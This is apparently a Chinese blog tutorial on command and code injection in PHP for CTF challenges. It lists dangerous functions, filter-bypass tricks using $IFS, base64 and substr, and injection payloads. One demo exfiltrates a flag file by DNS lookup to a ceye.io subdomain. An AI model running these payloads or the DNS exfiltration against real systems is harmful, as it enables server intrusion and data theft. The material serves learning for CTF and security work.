ctf 中的命令执行漏洞
由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器端执行。 代码 / 命令注入攻击中 Web 服务器没有过滤类似 system()、eval()、exec() 等函数的传入参数是该漏洞攻击成功的最主要原因。
1 代码注入
1.1 相关函数
1.1.1 eval
<?php
hilight_file(__FILE__);
$a = 'phpinfo();';
eval($a);
?>
1.1.2 assert
1.1.3 call_user_func
可以使用 is_callable
函数查看是否可以被回调
1.1.4 call_user_func_array
1.1.5 create_function
1.1.6 preg_replace
搜索 subject
中匹配 pattern
的部分, 以 replacement
或其执行结果进行替换。
1.1.7 array_map
payload: url?a=assert&b=phpinfo()
1.1.8 usort
Payload: url?1[]=phpinfo()&1[]=123&2=assert
1.1.9 uasort
1.1.10 ${php 代码}
1.2 DEMO
<?php
hightlight_file(__FILE__);
$price = $_GET['price'];
$code = 'echo $name'. '的价格是'. $price. ';';
$b = create_function('$name', $code);
$b('iPhone');
?>
Payload: url?price=123;}phpinfo();/*
2 命令注入
2.1 相关函数
2.1.1 system
2.1.2 exec
2.1.3 passthru
2.1.4 shell_exec
2.1.5 `` 运算符
2.1.6 ob_start
2.2 命令执行的绕过
2.2.1 命令执行的分隔符
例如:
<?php
highlight_file(__FILE__);
$rce = "echo 123";
system($rce. $_GET[1]);
?>
如何实现命令执行
- 换行符 %0a
- 回车符 %0d
- 连续指令 ;
- 后台进程 &
- 管道符 |
- 逻辑 ||、&&
2.2.2 命令执行的分隔符
- < 符号
- $IFS
- ${IFS}
- $IFS$9
- %09 用于 url 传递
- ${9}
2.2.3 其它 Tips
2.2.3.1 命令拼接
$a=l;$b=s;$a$b
2.2.3.2 base64 编码
`echo cHdk | base64 -D`
2.2.3.3 substr string pos len
该表达式是从 string 中取出从 pos 位置开始长度为 len 的子字符串。如果 pos 或 len 为非正整数时,将返回空字符串。
echo “${PATH:0:1}” -> /
echo "`expr\$IFS\substr\\$IFS\\$(pwd)\\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)` -> /
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1{$IFS}1
2.3 命令无回显的情况
2.3.1 判断
- 延时
- ls|sleep(3)
- HTTP 请求
- DNS 请求
- ceye.io
2.3.2 利用
- 写 shell(直接写入、外部下载)
- http / dns 等方式带出
2.3.3 DEMO
<?php
highlight_file(__FILE__);
include("where_is_flag.php");
echo "ping:";
$ip = (string)$_GET['ping'];
$ip = str_replace(">", "0.0", $ip);
shell_exec("ping ".$ip);
?>
payload:
ip=;cp where_is_flag.php 1.txt
ip=`cat 1.txt|sed s/[[:space:]]//`.xx.ceye.io
技巧 cat 1.txt|sed s//[[:space:]]//g
是去除空格的作用
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: PostgreSQL 入门
下一篇: 彻底找到 Tomcat 启动速度慢的元凶
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论